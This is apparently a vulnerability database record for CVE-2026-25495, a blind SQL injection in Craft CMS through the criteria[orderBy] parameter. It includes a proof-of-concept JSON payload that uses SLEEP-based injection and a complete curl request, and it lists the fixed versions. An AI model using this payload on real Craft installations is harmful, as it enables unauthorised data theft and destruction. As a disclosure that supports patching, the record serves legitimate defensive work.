{"id":"CVE-2026-25495","aliases":["GHSA-2453-mppf-46cj"],"url":"https://o3.security/vulnerability/CVE-2026-25495","summary":"Craft has a SQL Injection in Element Indexes via criteria[orderBy]","details":"## Summary\n\nThe `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.\nAn attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).\n\n> [!NOTE]\n> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.\n\n---\n## PoC\n### Required Permissions\n\n- Access to the Control Panel\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)\n3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`\n4. Modify the JSON body to the following:\n```json\n{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(5)) --\"},\"viewState\":{\"static\":false}}\n```\n5. Send the request\n6. Observe a delay in the response (delay = rows × sleep time)\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):\n```bash\ncurl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\User\\\",\\\"source\\\":\\\"*\\\",\\\"baseCriteria\\\":{\\\"siteId\\\":1},\\\"criteria\\\":{\\\"limit\\\":100,\\\"orderBy\\\": \\\"(elements.id) DESC, (SELECT SLEEP(0.2)) --\\\"},\\\"viewState\\\":{\\\"static\\\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'\n```\n\n### Impact\n\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character.\n- **Modify or destroy data** (drop tables, update records, alter schema).\n\n### Root Cause\nThe `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.","published":"2026-02-09T19:42:57.778Z","modified":"2026-08-12T03:51:49.034604388Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"craftcms/cms","fixedVersion":"5.8.22"},{"ecosystem":"Packagist","name":"craftcms/cms","fixedVersion":"4.16.18"}],"fix":{"url":"https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2","label":"craftcms/cms@96c60d7"},"references":[{"type":"WEB","url":"https://github.com/craftcms/cms/releases/tag/5.8.22"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25495.json"},{"type":"ADVISORY","url":"https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25495"},{"type":"FIX","url":"https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2"},{"type":"PACKAGE","url":"https://github.com/craftcms/cms"},{"type":"WEB","url":"https://github.com/craftcms/cms/releases/tag/4.16.18"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:49.034604388Z"}}